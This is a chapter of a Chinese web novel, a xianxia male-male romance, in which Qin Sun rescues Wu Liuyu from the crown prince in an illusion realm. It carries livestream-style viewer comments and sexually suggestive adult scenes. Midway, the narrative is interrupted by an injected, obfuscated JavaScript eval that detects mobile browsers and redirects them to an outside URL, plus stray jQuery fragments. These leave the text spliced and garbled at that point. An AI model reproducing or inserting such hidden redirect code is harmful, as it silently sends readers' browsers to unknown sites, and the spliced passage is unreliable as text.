17.被他欺负哭了
作品:《修界万人嫌,实况转播中》 秦隼举着伞,一路寻找。
这个幻境对灵力的封锁很强,即便绾音铃也不能准确锁定乌流玉的方位。
大致的范围在御花园。
秦隼来回找了几圈,不见人影,不知道姬蝉衣那家伙用了什么手段,他连乌流玉一丝一毫的气息也感受不到。
说不清的情绪在心底膨胀,秦隼仿佛弄丢了伴侣的雄狼,肉眼可见的焦躁起来。
“乌流玉,你在哪里——”
连喊了数声后,假山那边终于有了动静。
秦隼的神经始终紧绷着,一听到声音,霎时回身。
正看到乌流玉被一个身形高挑的陌生男子搀扶着,从山洞中走出来的模样。
乌流玉身上披着他的那件宝蓝宫服,衣服太大,将对方从头到脚都掩的严严实实,连个手指尖都露不出来。
美人生得肤白,发色也浅,被深色布料一映,仿佛一捧烟笼雪,既薄且轻,让人疑心是否真的人间可见。
可偏偏,那尚且潮湿的眉眼,以及面上泛着的、被人把玩出来的涨红,宛如饱浸了浓烈情.香的胭脂水,将这霜雪似的白玉仙子,又重新拽入了红尘人间。
仔细看看的话,乌流玉站着的姿势也很怪,细腰似乎没什么力气,整个背都依靠着男人的胸膛,在宫服下,细细发着抖。
秦隼很快就注意到了这点。
青年自惊艳中回神,眉头重重一拧,大步上前:“乌流玉,你怎么了?哪受伤了吗,还是……”
秦隼眸色一沉,不善地看向乌流玉身后的男人,冷声:“他欺负你了?”
【秦隼稳定发挥。】
【对的对的,坏男人都给魔头欺负哭了。】
【细说哪哭了?】
【刚刚留影珠花了能有两刻钟?是姬蝉衣太快还是乌流玉技术实在太好了?】
【万一他俩真啥也没干呢?姬司祭和这魔头就不能是神交吗?】
【别逗你姬哥笑了。】
乌流玉又累又气,简直连眼皮都不想抬一下。他见秦隼朝自己走过来,便十分提起裤子不认人地一推太子,道:
“秦隼,我们走……呜!”
话没说完,身后人忽然将手臂往乌流玉腰间一横,将他重新拽回了怀中。
“天色不早,雨又未歇,儿臣的寝宫就在附近,母妃不如今晚歇在儿臣那?”
秦隼握着伞骨的手一抖:“……母妃?!”
乌流玉:……
乌流玉气笑了,细长眸子一抬,嗓音又柔又轻的,笑吟吟问禁锢着他的男人:“好儿子,你这样有意思吗?”
“有意思极了。”
太子凑近他耳边,温柔地感慨:“看母妃被我弄得浑身发软,站都站不稳,顶着一张舒服的快要哭出来的脸瞪着我看,嗯……下次除了手,母妃想不想再试试别的,儿臣会让您更加舒服的。”
该死。
他之前怎么没看出来,姬蝉衣是脸皮这样厚的人物?
乌流玉不爽地眯了眯眼,有点儿头疼。
看这人的态度,颇有几分不折不挠的意思。可若他真跟着对方去了寝殿,还不知会发生什么事情。
他其实对真正的姬蝉衣是谁隐隐有了猜测,然而猜测毕竟只是猜测,没有实据。
这种时候,不宜打草惊蛇。
如何破局?
秦隼……
秦隼不会帮他的。
毕竟,这里是姬蝉衣的幻境,对于秦隼来说限制颇多。虽说之前他安抚住了对方的心结,可恐怕秦隼心底对他,还是有所不满的。
乌流玉原本也不打算依靠别人,这样的形势下,除了他自己,谁又靠得住呢?
如此的话,也只能……
他将目光缓缓落在自己腕间的囚仙索,思索之中有了定夺。
正欲付诸行动之际。
“苍啷——”
一声凛冽剑鸣,仿佛晴空惊雷,骤地响彻四野!
“放开他。”
秦隼一手握着油纸伞,另一只手执起小春雷,直指太子咽喉。
青年桀骜锋利的眼瞳黑沉沉的,仿佛风雨欲来前的云层,他一字一顿,冷声:“别让我说第二次。”
【打起来打起来!有生之年能让我看到小春雷对上枯木龙吟吗?】
【秦隼他竟然真的出手了,看情况他在这层幻境里灵力应该是受限制的,这种条件下驱使小春雷,估计骨头都会被压迫的跟断裂了一样……他真的超爱。】
【姬蝉衣不可能出手的,一旦打起来,暴露了自己真身在哪不说,还会导致此层幻境不稳,甚至崩塌。他才不舍得就这么放过乌魔头呢。】
太子任由秦隼用剑指着自己。
“母妃养的下人好威风。”
过了许久,他才笑了声,若无其事地开口:
“凶神恶煞,要吃人似的,儿臣真是怕得很呢。”
“诶呀,那真是对不住啦。”
乌流玉也跟着笑了一声,声音轻轻的,仿佛碎玉落雪。
他随即十分无辜善良地对秦隼道:
“小秦,砍他。”
话音落,小春雷上金光骤盛,秦隼没有半分犹豫,眼看就要动手——
“罢了,看来今日与母妃无缘。”
太子叹息一声,终是松开了禁锢着乌流玉腰身的那只手。
乌流玉的腿还是有些发软,甫一失去支撑,整个身子下意识向前倒去。
秦隼眼疾手快的将小春雷入了鞘,保持着举伞的动作,单手将乌流玉接入了怀中。
“那就有劳你护送母妃回去了,这位……呵,秦公公。”
太子的声音随即响起,他意味深长地停顿了一下,目光看了看秦隼某处。
汉语博大精深,一个“呵”字,也能包含无数意思。
乌流玉就觉得秦隼胸膛重重起伏了一下,像是快要喘不上气似的。
他暗道不好,撩起眼。
看清秦隼的脸色之后,乌流玉眼皮子一跳。
坏了,这傻……这秦隼气疯了。
秦少主有生以来大概第一次被人如此嘲讽,脸黑的好似隔壁山头黑熊成了精,话都说不出来了,眼看着就要拔出小春雷往太子身上砍。
乌流玉将手指覆在秦隼青筋鼓起的掌背上,及时按住了青年的手:
“秦隼,我累了,你带我回去休息,好不好?”
他抬着脸,卖娇似的对人道。
秦隼一怔,面上汹涌的怒意,奇迹般的完全消散了。
他没再多言,护着乌流玉转身离开。
太子一副赢家姿态,春风得意,镇定自若,目送二人渐远的背影。
大概走到御花园边界,他看到青年忽地俯身,将雪发美人打横抱起。
那副身体他不久前才刚用手掌亲自丈量过,柔软纤弱,仿佛一颗饱满多汁的果实,因过熟而酵出类似烈酒般令人成瘾的馥郁香气。
可此时此刻,果实被一只毫无教养的野狗叼在了口中。
太子面带浅浅笑意,他摸了摸藏在怀中的赤色薄纱,而后泰然自若地转身,向完全相反的方向走去。
直到走出一段距离。
男人唰地阴沉下了脸。
周遭草木犹如被看不见的风暴席卷,竟瞬间枯萎凋零!
……
才走出没多远,秦隼就察觉到乌流玉走路有些吃力。
他没多想,一弯腰,直接就把人给打横抱在了怀里。
乌流玉只觉得眼前一晃,还没反应过来,一把油纸伞就被塞进了手中。
“拿着。”
秦隼道:“身子骨这么弱,小心着凉。”
乌流玉眨了眨眼。
秦隼只用一只手就稳稳抱住了他,另一只手却隐在袖下——是方才执着小春雷的那只手。
乌流玉注意到青年指尖开始缓慢滴落的血珠,他霜白睫毛敛低,伸出手。
灼痛无比的掌背忽然掠过一点清凉。
秦隼眉目微僵,下意识想要将手藏起——他不想被乌流玉看到自己的狼狈与无能。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325112|198428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可乌流玉的动作却比他更快。
转瞬间,乌流玉就捉住了他的手掌,秦隼怕弄伤他,不敢反抗,只得抿紧了唇,任由乌流玉将自己的手从袖下拽出,暴露在视线之中。
他受此层幻境影响,灵力被限制的十分厉害,强行驱使小春雷的后果就是,自元婴后从未出现过的反噬,再次影响了他的法身。
——被乌流玉捉住的那只手掌,自腕骨至指根如被火灼过,焦黑泛烫,皲裂的皮肤下,鲜红血液不断涌出,简直令人触目惊心。
乌流玉眼睫微微一颤,看着这只手,愣了。
秦隼却觉得难堪,他不敢想象乌流玉会如何看待他的无能,亦或是觉得这反噬伤口恶心可怖——无论对方是哪种反应,都会让他生不如死。
“乌流玉,你别看了……等等,你——!”
秦隼的眼睛一瞬间睁大了。
他看到美貌的骗子低下头,柔软的唇就落在那些可怖的伤口上,一寸一寸向上轻吻。
“乖孩子,是不是很疼?”
那霜白睫毛竟似被泪水濡湿,宛如飘落的雪片一般。乌流玉一边吻着,一边抬眼,用自己那双泛着水雾似的湿漉漉的桃花色眸子看向秦隼。
他轻声问:“你为什么要帮我?”
那唇染了血痕,艳丽的令人口舌发干。分明蕴着暖不热的凉意,一瞬间却令秦隼觉得比那些灼痛的伤口更加发烫。
烫的他心口都在发疼。
秦隼下意识想要抽回手,可手掌却仿佛有自己的想法,完全动弹不得。
“在这里,除了我,你还能依靠谁?”
秦隼看着那双令他无数次魂牵梦萦的眼睛:
“乌流玉,我不管你对我说的话中,有多少真情,多少假意,这些我统统都可以不在意。但是……”
秦隼的声音突然就沉了下去,咬牙切齿似的。
他望着乌流玉,认真道:“你不可以离开我。”
绝对,绝对不可以。
因为,如果再被抛弃一次的话,他也不知道自己会对这个骗子做出什么样的事情。
那样犹如实质的目光之中,乌流玉眉眼一弯,竟笑了。
他自秦隼怀中抬起上身,湿漉漉的白发如缎子般垂到青年臂弯。乌流玉将那张昳丽至极的面庞贴近了秦隼的脸,将唇印在秦隼唇角,缓缓地吻到对方唇间。
冷香混杂了属于他自己的血腥味,秦隼瞳仁猛地一缩,喉结重重一滚,吃惊的将目光转向乌流玉贴近的脸。
乌流玉轻笑了一声,动作间,凝着水露的霜睫微微颤抖着,自睫梢滚落下晶莹水珠,倒映着他眸中惑人心神的浅绯,落在了秦隼瘦削的脸颊。
一瞬间,心如擂鼓。
雨声淅淅沥沥,坠在地面,秦隼恍惚间竟分不清这是真实存在的,亦或是这细雨天带来的幻梦。
雪发美人的唇移到了他的下颌,诱哄似的,低声问:
“秦隼,一直这样叫你的名字,显得我们之间好生分。告诉我,你喜欢我怎么称呼你,好吗?”
“……修翎。”
好半晌,秦隼才有些含羞似的闷声道:“这是我的小字,之前只有我爹知晓。”
乌流玉于是又笑了一声,奖励似的,吻了吻秦隼的喉结:“谢谢你,小修翎。”
抱歉哦,秦隼。
之前低估了你的价值,是我的不对。
接下来,我会对你投入更多关注的。
秦隼尚未察觉自己已落入了骗子的新圈套。
乌流玉离他实在太近了,近的他不由又用手将人往上托了托,生怕对方察觉到他丢人的身体反应。
而同时,他也嗅到了乌流玉身上那熟悉的淡香下,似乎隐藏着一股子说不出道不明的……
“你有没有闻到什么味?”
秦隼红着脸,疑惑地嗅了嗅,似乎寻找气味的来源:“有点儿甜,还有点说不出来的……啧,总之怪怪的,之前从来没闻到过。”
乌流玉面上的笑意一僵。
他下意识并紧了腿根。

